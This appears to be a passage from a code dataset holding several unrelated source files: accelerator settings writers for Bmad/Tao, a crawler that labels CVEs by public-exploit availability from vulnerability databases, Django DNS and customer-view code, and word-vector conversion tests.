usable=k.is_usable()\n has_faults = k.has_faults()\n phase=k.phase\n enld=k.enld\n\n if phase == None:\n good_phase = False\n else:\n good_phase = not isnan(phase)\n if not good_phase or not usable: \n phase=0\n\n\n lines = ['!---------------', '! '+kname]\n if not accelerating:\n lines.append('! is not accelerating')\n if not usable:\n lines.append('! is NOT usable') \n if has_faults:\n lines.append('! has faults:')\n for f in k.faults:\n lines.append('! '+f)\n\n if accelerating and usable:\n lines.append(bmad_name+'[ENLD_MeV] = '+str(enld))\n lines.append(bmad_name+'[phase_deg] = '+str(phase))\n else:\n lines.append(bmad_name+'[ENLD_MeV] = 0')\n\n return lines\n\ndef write_bmad_klystron_settings(klystrons, filePath='klystron_settings.bmad', verbose=False):\n #timestamp = '! Acquired: '+ str(datetime.datetime.now()) + '\\n'\n data =map(bmad_klystron_lines, klystrons)\n \n with open(filePath, 'w') as f:\n #f.write(timestamp)\n for l in data:\n for x in l:\n f.write(x+'\\n')\n if verbose:\n print('Written:', filePath) \n \ndef bmad_linac_phasing_lines(epics):\n \"\"\"\n Linac phasing\n \n Note that these overlays override individual klystron phases. \n \n \"\"\"\n lines = [\n '! Linac overall phasing',\n 'O_L1[phase_deg] = 0 ! K21_1 sets this directly. This is a delta on top of that.', \n 'O_L2[phase_deg] = '+str(epics.caget('SIOC:SYS0:ML00:CALC204')),\n 'O_L3[phase_deg] = '+str(epics.caget('SIOC:SYS0:ML00:AO499'))\n ]\n return lines\n\ndef write_bmad_linac_phasing_lines(filePath='linac_settings.bmad', epics=None, verbose=False):\n \"\"\"\n Writes linac phasing lines to a Bmad file. Requires epics (or proxy object). \n \"\"\"\n lines = bmad_linac_phasing_lines(epics)\n with open(filePath, 'w') as f:\n for l in lines:\n f.write(l+'\\n')\n if verbose:\n print('Written:', filePath)\n\n\n\ndef tao_BC_and_LEM_lines(epics):\n \"\"\"\n Linac energy set points and bunch compressor offsets\n \"\"\"\n bc1_e0=epics.caget('SIOC:SYS0:ML00:AO483')*1e6\n bc2_e0=epics.caget('SIOC:SYS0:ML00:AO489')*1e9\n l3_e0 =epics.caget('SIOC:SYS0:ML00:AO500')*1e9\n \n # Charge in LTU\n q_after_horn_cutting = epics.caget('SIOC:SYS0:ML00:CALC252')*1e-12 # pC -> C\n bc1_offset=epics.caget('BMLN:LI21:235:MOTR')*1e-3\n bc2_offset=epics.caget('BMLN:LI24:805:MOTR')*1e-3\n \n bc1_current=epics.caget('SIOC:SYS0:ML00:AO485')\n bc2_current=epics.caget('SIOC:SYS0:ML00:AO195')\n \n # Catch bad settings\n if bc1_current==0:\n print('Warning: BC1 current is zero!')\n bc1_sigma_z = 0\n else:\n # Assumes parabolic distribution\n bc1_sigma_z = q_after_horn_cutting*299792458 / sqrt(10) / bc1_current\n\n if bc2_current==0:\n print('Warning: BC1 current is zero!')\n bc2_sigma_z = 0\n else:\n # Assumes Gaussian distribution\n bc2_sigma_z = q_after_horn_cutting*299792458 / sqrt(12) / bc2_current \n \n lines = []\n lines.append('set dat BC1.energy[1]|meas = '+str(bc1_e0))\n lines.append('set dat BC2.energy[1]|meas = '+str(bc2_e0))\n lines.append('set dat L3.energy[2]|meas = '+str(l3_e0))\n lines.append('set dat BC1.offset[1]|meas = '+str(bc1_offset))\n lines.append('set dat BC2.offset[1]|meas = '+str(bc2_offset))\n \n lines.append(f'! Charge after horn cutting: {q_after_horn_cutting*1e12:10.4} pC')\n lines.append(f'! For BC1 current {bc1_current} A')\n lines.append('set dat BC1.beam[1]|meas = '+str( bc1_sigma_z))\n lines.append(f'! For BC2 current {bc2_current} A')\n lines.append('set dat BC2.beam[1]|meas = '+str( bc2_sigma_z)) \n\n return lines \ndef write_tao_BC_and_LEM_lines(filePath='LEM_settings.tao', epics=None, verbose=False):\n \"\"\"\n Writes tao LEM lines to a .tao file. Requires epics (or proxy object). \n \"\"\"\n lines = tao_BC_and_LEM_lines(epics)\n with open(filePath, 'w') as f:\n for l in lines:\n f.write(l+'\\n')\n if verbose:\n print('Written:', filePath)\n\n \n \n return lines \n\n \n \ndef bmad_from_csv(csvfile, epics, outfile=None):\n \"\"\"\n Create Bmad-style settings from a CSV mapping file, and an epics interface.\n \n Example: \n bmad_from_csv('collimator_mapping.csv', epics, 'test.bmad')\n \n \"\"\"\n df = pandas.read_csv(csvfile)\n pvlist = list(df['device_name'] +':'+ df['attribute'].str.strip())\n \n # Get values\n df['value'] = epics.caget_many(pvlist)\n \n # Form lines\n lines = df['bmad_ele_name']+'[' + df['bmad_attribute'] + '] = '+ (df['bmad_factor'].astype(str)+'*'+df['value'].astype(str))\n \n if outfile:\n with open(outfile, 'w') as f:\n for line in lines:\n f.write(line+'\\n')\n print('Written:', outfile)\n \n return list(lines) \n \n \nINFO_PVS = {\n 'GDET:FEE1:241:ENRC': 'FEL pulse energy from gas detector (mJ)',\n 'SIOC:SYS0:ML00:AO020': 'UV Pulse Length RMS (ps)', \n 'LASR:IN20:475:PWR1H': 'Laser heater power (uJ)',\n 'SIOC:SYS0:ML00:AO470':'Bunch charge off the cathode', \n 'SIOC:SYS0:ML00:CALC252': 'Bunch charge in the LTU',\n 'SIOC:SYS0:ML00:AO485': 'BC1 mean current (A)',\n 'SIOC:SYS0:ML00:AO195': 'BC2 peak current (A)',\n 'BLEN:LI21:265:AIMAX1H': 'BC1 bunch length monitor (A)',\n 'BLEN:LI24:886:BIMAX1H': 'BC2 bunch length monitor (A)',\n 'SIOC:SYS0:ML00:AO513':'DL1 Energy',\n 'SIOC:SYS0:ML00:AO483':'BC1 Energy',\n 'SIOC:SYS0:ML00:AO489':'BC2 Energy',\n 'SIOC:SYS0:ML00:AO500':'DL2 Energy',\n 'ACCL:LI21:1:L1S_S_PV': 'L1 Phase',\n 'SIOC:SYS0:ML00:CALC204':'L2 Phase',\n 'SIOC:SYS0:ML00:AO499':'L3 Phase',\n 'ACCL:IN20:350:FUDGE': 'L0 energy fudge factor',\n 'ACCL:LI21:1:FUDGE': 'L1 energy fudge factor',\n 'ACCL:LI22:1:FUDGE': 'L2 energy fudge factor',\n 'ACCL:LI25:1:FUDGE': 'L3 energy fudge factor',\n 'BMLN:LI21:235:MOTR': 'BC1 offset (mm)',\n 'BMLN:LI24:805:MOTR': 'BC2 offset (mm)',\n 'IOC:IN20:BP01:QANN': 'Expected charge after gun (nC)',\n 'BPMS:SYS0:2:QANN':'Expected Charge after BC charge cutting (nC)'}\n\n", "source": "jacquelinegarrahan/lcls-live", "license": "Apache-2.0"} {"text": "import requests\nimport json\nimport math\nimport re\nfrom bs4 import BeautifulSoup\nimport codecs\nimport os\nimport random\nfrom multiprocessing import Process,Pool\nimport pandas\nimport configparser\nfrom sqlite3_operate import SQLite,create_table\nfrom utils import path,time_delta,get_ua,list2tuple_dict\nfrom seebug_crawler import seebug_headers\n\ndef cve_details_parser(url):\n \"\"\"\n \u5355\u6b21\u89e3\u6790\uff0c\u8fd4\u56decve id\u7684exp\u6807\u8bb0\n :param url:\n :return label:\n :type:int\n :value:1\u4e0d\u5b58\u5728\uff0c2\u5b58\u5728\u4e14\u65e0exp\uff0c3\u5b58\u5728\u4e14\u6709msf exp\u6807\u8bb0\uff0c4\u5b58\u5728\u4e14\u6709public exploit,7\u5b58\u5728\u4e14\u6709msf\u548cpub\n \"\"\"\n try:\n r=requests.get(url,timeout=5).text\n if re.search(r'(\\d) public exploit',r):\n if re.search(r'(\\d) Metasploit modules',r):\n label=7\n else:\n label=4\n elif re.search(r'(\\d) Metasploit modules',r):\n label=3\n elif re.search(r'Unknown CVE ID',r):\n label=1\n else:\n label=2\n return label\n except Exception as e:\n print(\"[!] Error %s %s in function `cve_details_parser`\" %(url,str(e)))\n return False\n\ndef cve_exists(db='nvd',table='nvd_cve',key='CVE_Items_cve_CVE_data_meta_ID'):\n \"\"\"\n \u53d6\u672c\u5730\u6570\u636e\u5e93\u5df2\u6709\u7684CVE id\u7b49\u5355\u5b57\u6bb5\n :return exist_cid:\n :type:list\n :value:['1','2','3']\n \"\"\"\n so=SQLite('../data/{db}.db'.format(db=db))\n sql='select {key} from {table}'.format(table=table,key=key)\n exist_cid=so.query(sql)\n if exist_cid:\n exist_cid=[i[0] for i in exist_cid]\n else:\n exist_cid=[]\n \n return so,exist_cid\n\ndef cve_details_exp():\n \"\"\"\n \u4ececvedetails.com\u722ccve\u8be6\u60c5\u548cexp label:public/msf\n \"\"\"\n create_table(db='cvedetail',table='cvedetail_exp',key=['cve_id','label'],primary_key='cve_id')\n so,exist_cid=cve_exists(db='cvedetail',table='cvedetail_exp',key='cve_id')\n so1,all_cid=cve_exists(db='nvd',table='nvd_cve',key='CVE_Items_cve_CVE_data_meta_ID')\n add_cid=list(set(all_cid)^set(exist_cid))\n \n cve_exp=dict()\n for cid in add_cid:\n url=\"https://www.cvedetails.com/cve/{}/\".format(cid)\n label=cve_details_parser(url)\n print(url,label)\n if label:\n cve_exp[cid]=(cid,label)\n sql='replace INTO cvedetail_exp (cve_id, label) VALUES (?, ?)'\n so.executemany(sql,cve_exp.values())\n return 'cvedetails.com',cve_exp\n\ndef nvd_nist_exp():\n \"\"\"\n \u4ecenvd.nist\u4e2dreference source\u4e2d\u63d0\u53d6CVE exp label\n \u6253\u6807\u7b56\u7565\u4e4b\u4e00\uff1aexploit-db verified or verified\n \"\"\"\n so=SQLite('../data/nvd.db')\n sql='select CVE_Items_cve_CVE_data_meta_ID from nvd_cve where CVE_Items_cve_references_reference_data_tags like \"%Exploit%\"'\n r=so.query(sql)\n ids=[i[0] for i in r]\n\n cve_exp=dict()\n for cid in ids:\n url='https://nvd.nist.gov/vuln/detail/{}'.format(cid)\n cve_exp[cid]=url\n \n return 'nvd.nist.gov',cve_exp\n\ndef mitre_expdb_exp():\n \"\"\"\n \u4ececve.mitre.org\u4e2d\u63d0\u53d6CVE exp label\uff0c\u5f25\u8865nvd.nist\u4e2dResource\u4e2dExploit\u6807\u8bb0\u7684\u4e0d\u8db3\n \u66f4\u65b0\u7b56\u7565\uff1a\u5168\u91cf\u66f4\u65b0\uff0c\u8fd4\u56de\u5168\u90e8\u6570\u636e\n :return cve_exp:\n :type:dict\n :value:{'cve-id':'edb-id'}\n \"\"\"\n hfile=path('../data/nvd',time_delta()+'source-EXPLOIT-DB.html')\n if not os.path.exists(hfile):\n r=requests.get('https://cve.mitre.org/data/refs/refmap/source-EXPLOIT-DB.html')\n html=r.content\n with codecs.open(hfile,'wb') as f:\n f.write(html)\n\n cve_exp=dict()\n if os.path.exists(hfile):\n with codecs.open(hfile,'rb') as f:\n soup=BeautifulSoup(f,'html.parser')\n for tr in soup.find_all('tr'):\n exp_db=''\n cve=''\n for td in tr.find_all('td'):\n t=str(td)\n \n if re.search(r'EXPLOIT-DB:(\\d+)',t):\n r=re.search(r'EXPLOIT-DB:(\\d+)',t)\n exp_db=r.group(1)\n elif re.search(r'(CVE-[\\d]+-[\\d]+)',t):\n r=re.findall(r'(CVE-[\\d]+-[\\d]+)',t)\n cve=[]\n for c in r:\n cve.append(c)\n else:\n continue\n \n if exp_db and cve:\n if isinstance(cve,list):\n for c in cve:\n cve_exp[c]=exp_db\n else:\n cve_exp[cve]=exp_db\n \n return 'cve.mitre.org',cve_exp\n\ndef expdb_parser(eid):\n \"\"\"\n \u5355\u6b21\u89e3\u6790\uff0c\u8fd4\u56de\u5355\u6761\u6570\u636e\n :param eid:\n :return exp_values:\n :type:dict\n :value:{'EDB-ID:': '37074', 'CVE:': '2015-4039;2015-4038', 'Author:': 'Panagiotis Vagenas', 'Type:': 'webapps', 'Platform:': 'PHP', 'Date:': '2015-05-21'}:\n \"\"\"\n exp_values=dict()\n url='https://www.exploit-db.com/exploits/'+str(eid)\n r=requests.get(url,headers={'User-Agent':get_ua()},timeout=10)\n html=r.content\n if r.status_code==200 and b'404 Page Not Found' not in html:\n soup=BeautifulSoup(html,'html.parser')\n for div in soup.find_all('div',class_='col-6 text-center'):\n exp_value=list(div.stripped_strings)\n if len(exp_value)>=2:\n exp_values[exp_value[0]]=\";\".join(exp_value[1:])\n else:\n exp_values[exp_value[0]]=''\n \n return exp_values\n else:\n return False\n\ndef offensive_download():\n try:\n url='https://raw.githubusercontent.com/offensive-security/exploitdb/master/files_exploits.csv'\n r=requests.get(url)\n with codecs.open('../data/exploit-db/offensive_expfile.csv','wb') as f:\n f.write(r.content)\n print(\"[+] DOWNLOAD NEW EXPLOIT-DB\")\n except Exception as e:\n print(\"[!] DOWNLOAD %s error\" %url)\n\ndef expdb_exists():\n \"\"\"\n \u4eceoffensive Security github file exploits\u53d6\u6700\u65b0\u7684\u5168\u91cfedb-id\n \"\"\"\n offensive_download()\n if os.path.exists('../data/exploit-db/offensive_expfile.csv'):\n exps=pandas.read_csv('../data/exploit-db/offensive_expfile.csv')\n return list(exps['id'].values)\n else:\n return False\n\ndef expdb_exp(batch=False,batch_size=10):\n \"\"\"\n \u4eceexploit-db.com\u4e2d\u63d0\u53d6CVE exp label\uff0c\u5f25\u8865\u4e0d\u8db3\n \u66f4\u65b0\u7b56\u7565\uff1a\u589e\u91cf\u8986\u76d6\n \"\"\"\n create_table(db='exp2',table='expdb',key=['edb_id','cve_id','author','type','platform','date'],primary_key='edb_id')\n so,exist_eid=cve_exists(db='exp2',table='expdb',key='edb_id')\n all_eid=expdb_exists()\n all_eid=[str(i) for i in all_eid]\n add_eid=list(set(all_eid)^set(exist_eid))\n print(add_eid)\n j=0\n cve_exp=dict()\n for eid in add_eid:\n try:\n exp_values=expdb_parser(eid)\n if exp_values:\n cve_exp[eid]=tuple(exp_values.values())\n print(cve_exp)\n j=j+1\n if batch:\n if j%batch_size==0: ### todo\n sql='replace INTO expdb (edb_id, cve_id, author, type, platform, date) VALUES (?, ?, ?, ?, ?, ?)'\n so.executemany(sql,cve_exp.values())\n else:\n sql='replace INTO expdb (edb_id, cve_id, author, type, platform, date) VALUES (?, ?, ?, ?, ?, ?)'\n so.execute(sql,tuple(exp_values.values()))\n\n else:\n print(\"[!] exp-values Not Found\")\n\n except Exception as e:\n print(\"[!] DOWNLOAD ERROR %s error:%s\" %(eid,repr(e)))\n \n so.close()\n \nclass GitHub(object):\n def __init__(self, **config_options):\n self.__dict__.update(**config_options)\n self.session = requests.Session()\n if hasattr(self, 'api_token'):\n self.session.headers['Authorization'] = 'token %s' % self.api_token\n elif hasattr(self, 'username') and hasattr(self, 'password'):\n self.session.auth = (self.username, self.password)\n\n def call_to_the_api(self, *args):\n try:\n res=self.session.get(*args)\n except Exception as e:\n return \n # do stuff with args\n return res\n\ndef single_parser(gh,items):\n \"\"\"\n \u89e3\u6790\u5355\u4e2a\u4ed3\u5e93\uff1a\u4ed3\u5e93\u540d\uff0c\u63cf\u8ff0\uff0c\u76ee\u5f55\u540d\uff0c\u83b7\u53d6CVE\u548cexp\u6807\u8bb0\n \"\"\"\n cve_list=[]\n for item in items:\n name=item['name']\n description=item['description']\n content_url=item['contents_url']\n name=re.search(r'CVE-(\\d+)-(\\d+)',name)\n description=re.search(r'CVE-(\\d+)-(\\d+)',description)\n if name:\n cve_list.append(name.group(0))\n continue\n elif description:\n cve_list.append(description.group(0))\n continue\n elif content_url:\n r=gh.call_to_the_api(content_url)\n content=r.text\n match=re.findall(r'(CVE-[\\d]+-[\\d]+)',content)\n if match:\n match=list(set(match))\n cve_list.extend(match)\n\n cve_list=list(set(cve_list))\n return cve_list\n\ndef single_request(gh,kname='CVE exploit',page=1,per_page=50):\n \"\"\"\n \u89e3\u6790\u5355\u9875\u4ed3\u5e93\u6570\u636e\uff0c\u83b7\u53d6CVE\u548cexp\u6807\u8bb0\n \"\"\"\n cve_list=[]\n url=\"https://api.github.com/search/repositories?q={key_name}&sort=updated&order=desc&page={page}&per_page={per_page}\".format(key_name=kname,page=page,per_page=per_page)\n r=gh.call_to_the_api(url)\n if r:\n content=r.text\n js=json.loads(content)\n items=js['items']\n cve_list.extend(single_parser(gh,items))\n\n total_count=js['total_count']\n\n return total_count,cve_list\n else:\n return False,False\n\ndef max_total_count(gh,kname='CVE exploit',page=1,per_page=50):\n \"\"\"\n \u4e00\u6b21\u89e3\u6790\uff0c\u8fd4\u56de\u68c0\u7d22\u7ed3\u679c\u603b\u6761\u6570\n \"\"\"\n cve_list=[]\n url=\"https://api.github.com/search/repositories?q={key_name}&sort=updated&order=desc&page={page}&per_page={per_page}\".format(key_name=kname,page=page,per_page=per_page)\n r=gh.call_to_the_api(url)\n if r:\n content=r.text\n js=json.loads(content)\n total_count=js['total_count']\n\n return total_count\n else:\n return \n\ndef github_exp(api_token,per_page=100):\n \"\"\"\n \u6839\u636e(\u591a\u7ec4)\u5173\u952e\u8bcd\u641c\u7d22github\u4e0acve\u548cexp\u6807\u8bb0\n \u66f4\u65b0\u7b56\u7565\uff1a\u652f\u6301\u5b58\u91cf\u548c\u589e\u91cf\u66f4\u65b0\n \"\"\"\n # \u672c\u5730\u548c\u8fdc\u7a0b\u5bf9\u6bd4->\u5dee\u96c6\n create_table(db='github',table='github_exp',key=['cve_id','label'],primary_key='cve_id') ## \u9009\u62e9sqlite3 \u800c\u4e0d\u662fjson\u5b58\u50a8\u7684\u539f\u56e0\u5728\u6613\u4e8e\u6269\u5c55\u548c\u68c0\u7d22\n so,exist_cid=cve_exists(db='github',table='github_exp',key='cve_id')\n\n conf=configparser.ConfigParser()\n conf.read('conf/info.conf')\n local_count=conf.get('CVE_Label','total_count')\n key_name=conf.get('CVE_Label','search_key')\n\n gh=GitHub(api_token=api_token)\n total_count=max_total_count(gh=gh,kname=key_name,per_page=per_page)\n cve_list=[]\n if total_count:\n if total_count>1000:\n total_count=1000\n\n add_count=total_count-int(local_count)\n print(\"local num:%s,total num:%s,add num:%s\" %(local_count,total_count,add_count))\n # \u8865\u5168\u5dee\u96c6\n page_count=math.ceil(add_count/per_page)\n if page_count>0:\n for page in range(page_count,-1,-1):\n t,c=single_request(gh=gh,kname=key_name,per_page=per_page,page=page)\n if t:\n print(c)\n cve_list.extend(c)\n else:\n print(\"[!] Error in call_to_the_api\")\n else:\n print(\"[!] WARNING:No Updated in function github_cve\")\n\n # \u63d2\u5165sqlite3\n if page_count>0:\n cve_tuple=list2tuple_dict(cve_list,label=1)\n sql='replace INTO github_exp (cve_id, label) VALUES (?, ?)'\n so.executemany(sql,cve_tuple.values())\n conf.set('CVE_Label','total_count',str(total_count))\n with open('conf/info.conf', 'w') as configfile:\n conf.write(configfile)\n else:\n pass\n else:\n print(\"[!] Error in call_to_the_api\")\n return \n return cve_list\n\ndef seebug_page_parser(url,headers):\n \"\"\"\n \u89e3\u6790seebug\u5355\u9875\uff0c\u83b7\u53d6CVE exp label,\u8fd4\u56de\u591a\u6761\u6570\u636e\n :return cve_page:\n :type:dict\n :value:{'cve_id1':0,'cve_id2':1,'cve_idN':0 or 1}\n \"\"\"\n r=requests.get(url,headers=headers)\n soup=BeautifulSoup(r.content,'html.parser')\n cve_page=dict()\n for td_date in soup.find_all('td',class_='text-center datetime hidden-sm hidden-xs'):\n date=td_date.text\n td_status=td_date.find_next('td',class_='text-center hidden-sm hidden-xs ')\n i=td_status.find_all('i')[0]\n cve_id=re.search(r'(CVE-[\\d]+-[\\d]+)',str(i))\n if cve_id:\n cid=cve_id.group(0)\n if \" \".join(td_status.find_all('i')[1].get('class'))=='fa fa-rocket text-muted ':\n label=0\n elif \" \".join(td_status.find_all('i')[1].get('class'))=='fa fa-rocket ':\n label=1\n else:\n print(\"[!] WARNING poc_value is not 0 or 1\")\n cve_page[cid]=(cid,label,date)\n else:\n # \u975ecve\u7684\u6f0f\u6d1e\n pass\n return cve_page\n\ndef seebug_max_page(url='https://www.seebug.org/vuldb/vulnerabilities'):\n \"\"\"\n \u83b7\u53d6seebug\u6f0f\u6d1e\u6570\u636e\u7684\u6700\u5927\u9875\u9762\u6570\n :return max_page:\n :type:int\n :value:N\n :return headers:\n :type:dict\n :value:\u6d4f\u89c8\u5668\u5934\n \"\"\"\n headers=seebug_headers(url)\n r=requests.get(url,headers=headers)\n regex=re.compile(r'page=(\\d+)')\n num=re.findall(regex,r.text)\n num=[int(i) for i in num]\n max_page=max(num)\n print(\"[+] Got max page:%d\" %max_page)\n return max_page,headers\n\ndef seebug_exp(stock=True):\n \"\"\"\n \u722c\u53d6seebug\u5168\u90e8cve\u6570\u636e\n :return source:\n :type:str\n :value:'seebug'\n :return cve_seebug:\n :type:dict\n :value:seebug\u5168\u90e8cve\u6570\u636e\uff0c\u5f62\u5982{'CVE-2020-0001':0}\n \"\"\"\n create_table(db='seebug',table='seebug_exp',key=['cve_id','label','date'],primary_key='cve_id')\n so,exist_cid=cve_exists(db='seebug',table='seebug_exp',key='cve_id')\n max_page,headers=seebug_max_page()\n cve_seebug=dict()\n if stock:\n for i in range(1,max_page):\n vul_url='https://www.seebug.org/vuldb/vulnerabilities?page={}'.format(str(i))\n cve_page=seebug_page_parser(url=vul_url,headers=headers)\n print(\"[+] Got page:%d\" %(i))\n cve_seebug={**cve_seebug,**cve_page}\n sql='replace INTO seebug_exp (cve_id, label, date) VALUES (?, ?, ?)'\n so.executemany(sql,cve_seebug.values())\n else:\n page=1\n et=0\n while(page>0):\n vul_url='https://www.seebug.org/vuldb/vulnerabilities?page={}'.format(str(page))\n cve_page=seebug_page_parser(url=vul_url,headers=headers)\n for i in cve_page.values():\n if i[0] in exist_cid:\n et=et+1\n if et>0:\n sql='replace INTO seebug_exp (cve_id, label, date) VALUES (?, ?, ?)'\n so.executemany(sql,cve_page.values())\n cve_seebug={**cve_seebug,**cve_page}\n break\n else:\n page=page+1\n\n return 'seebug',cve_seebug\n\ndef securityfocus_exp():\n \"\"\"\n security_focus exp label\n \"\"\"\ndef symantic_exp():\n \"\"\"\n symantic exp label\n \"\"\"\n\nif __name__=='__main__':\n #b,nexp=nvd_nist_exp()\n #c,mexp=mitre_expdb_exp()\n #print(set(list(mitre_expdb_exp()[1].keys()))^set(list(nvd_nist_exp()[1].keys())))\n\n #expdb_exp() \n\n #cve_details_exp()\n \n # github:res/code/commits/issues->cve exp label and github link\n #cve_list=github_exp(api_token='your_github_token')\n #print(cve_list)\n\n # other vul db, such as seebug, 0day.today etc.\n #print(seebug_exp(stock=False))\n\n # SecurityFocus\n\n # in the wild\n pass\n\n\n \n \n \n\n\n", "source": "devsecops-SRC/CVE-Flow", "license": "MIT"} {"text": "from django.test import TestCase\n\nfrom cyder.cydns.txt.models import TXT\nfrom cyder.cydns.domain.models import Domain\n\n\nclass TXTTests(TestCase):\n def setUp(self):\n self.o = Domain(name=\"org\")\n self.o.save()\n self.o_e = Domain(name=\"oregonstate.org\")\n self.o_e.save()\n\n def do_generic_add(self, data):\n txt = TXT(**data)\n txt.__repr__()\n txt.save()\n rtxt = TXT.objects.filter(**data)\n self.assertTrue(len(rtxt) == 1)\n return txt\n\n def do_remove(self, data):\n txt = self.do_generic_add(data)\n txt.delete()\n rmx = TXT.objects.filter(**data)\n self.assertTrue(len(rmx) == 0)\n\n def test_add_remove_txt(self):\n label = \"asdf\"\n data = \"asdf\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"asdf\"\n data = \"asdfasfd\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"df\"\n data = \"aasdf\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"12314\"\n data = \"dd\"\n data = {'label': label, 'txt_data': data, 'domain': self.o}\n self.do_generic_add(data)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "from django.shortcuts import render\n\nfrom .forms import CustomerForm\nfrom .models import Customer\nfrom store.models import Store\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.template import RequestContext\nfrom django.shortcuts import render_to_response, get_object_or_404\n\n@login_required\ndef customers(request):\n \"\"\"\n agent list customers\n \"\"\"\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n menu = request.session['current_menu']\n customers = Customer.objects.filter(agent_id=user.id, store_id=store.id)\n \n requestContext = RequestContext(request, {'menu':menu,\n 'customers': customers,\n 'user':user,\n 'store':store,\n 'page_title': 'Customers'} )\n \n return render_to_response('customers.html', requestContext)\n\n \n\n@login_required\ndef customer_form(request):\n \"\"\"\n agent pull customer form\n \"\"\"\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n menu = request.session['current_menu']\n \n customer_form = CustomerForm()\n requestContext = RequestContext(request, {'menu':menu,\n 'page_title': 'Edit Profile',\n 'customer_form': customer_form} )\n \n return render_to_response('customer-form.html', requestContext)\n \n@login_required\ndef save_customer(request):\n \"\"\"\n agent save customer\n \"\"\"\n if request.method == 'POST':\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n \n customer_form = CustomerForm(data=request.POST)\n if customer_form.is_valid():\n customer = customer_form.save(commit=False)\n customer.agent = user\n customer.store = store\n customer.save()\n \n # redirect to customer list page \n return customers(request) \n else:\n print customer_form.errors\n# return HttpResponse(\"Edit profile is failed.\")\n raise Http404(\"Edit customer is failed.\")\n else:\n logger.error('Can not save customer via HTTP get.')\n raise Http404('Can not save customer via HTTP get.')", "source": "vollov/sm", "license": "MIT"} {"text": "import os\nimport random\nimport pathlib\nfrom unittest.mock import patch\nimport numpy as np\nfrom word_vectors import FileType\nfrom word_vectors.read import read\nfrom word_vectors.convert import convert\nfrom utils import vocab, vectors, DATA, GLOVE, W2V, W2V_TEXT, LEADER, rand_str\n\n\nINPUT_MAPPING = {\n GLOVE: FileType.GLOVE,\n W2V: FileType.W2V,\n W2V_TEXT: FileType.W2V_TEXT,\n LEADER: FileType.LEADER,\n}\n\n\ndef test_convert():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = str(DATA / data)\n gold_output_path = os.path.splitext(input_path)[0] + \".\" + str(output_type)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is output_type\n\n\ndef test_convert_with_output():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = rand_str()\n input_path = str(DATA / data)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_with_input():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = str(DATA / data)\n output = rand_str()\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n gold_output_path = os.path.splitext(str(input_path))[0] + \".\" + str(output_type)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert str(call_file) == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is output_type\n\n\ndef test_convert_with_output_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = pathlib.Path(rand_str())\n input_path = DATA / data\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_with_input_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n output = pathlib.Path(rand_str())\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n gold_output_path = os.path.splitext(str(input_path))[0] + \".\" + str(output_type)\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert str(call_file) == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is 